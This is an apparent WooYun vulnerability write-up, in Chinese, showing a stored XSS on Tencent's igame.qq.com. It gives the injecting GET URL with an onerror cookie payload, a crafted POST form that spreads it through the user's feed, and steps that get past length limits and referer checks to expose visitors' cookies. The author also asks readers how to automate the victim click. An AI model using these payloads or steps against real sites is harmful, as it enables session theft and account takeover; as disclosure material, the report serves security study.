WooYun.org

http://igame.qq.com/interface/album/album.php?op=3&iId=11&name=<img src='' onerror='alert(document.cookie)'>
http://igame.qq.com/interface/album/album.php?op=13
<form method='post' action='http://igame.qq.com/interface/ugc/ugc.php'>
<input name='content' value='http://igame.qq.com/interface/album/album.php?op=13'>
<input name='fellow' value=''>
<input name='gid' value='0'>
<input name='ie' value='utf-8'>
<input name='mention' value='1'>
<input name='mentiontxt' value='http://igame.qq.com/interface/album/album.php?op=13'>
<input name='op' value='2'>
<input name='pid' value='200004'>
<input name='ptitle' value='111'>
<input name='purl' value="http://igame.qq.com/interface/album/album.php?op=3&iId=11&name=<img src='' onerror='alert(document.cookie)'>">
<input name='type' value="2">
<input type='submit'>
</form>
同样，用firebug修改页面内容跳过referer检测
第一步，修改相册名，当然企鹅的程序员限制了长度，我们通过直接访问get接口突破。
第二步，把第一步的这个地址放在我特殊构造的表单里面，作为图片地址进行提交形成自己主页微博。
（这样，就方便别人过来中招么，别人访问了我的主页后，他的第一个相册名字就会修改成我们的xss代码）
第三步，想办法让他点击http://igame.qq.com/interface/album/album.php?op=13 这个我们自己发布在我的主页上的链接就行了。cookie爆出。（我们自己发布到主页而不是其他的调用方式，就是通过别人的主动点击来满足referer的验证要求..其实企鹅的程序员很无奈啊...）

我本来想找个iframe的地方让第三步自动执行的，但是找了半天找不到....谁找到了告诉我一声啊。呵呵。还有，这是我第一次xss出来cookie，而且是独立完成的哦。而且是我最想x的企鹅的cookie哦，所以希望大家对我多鼓励鼓励哦。哈哈哈。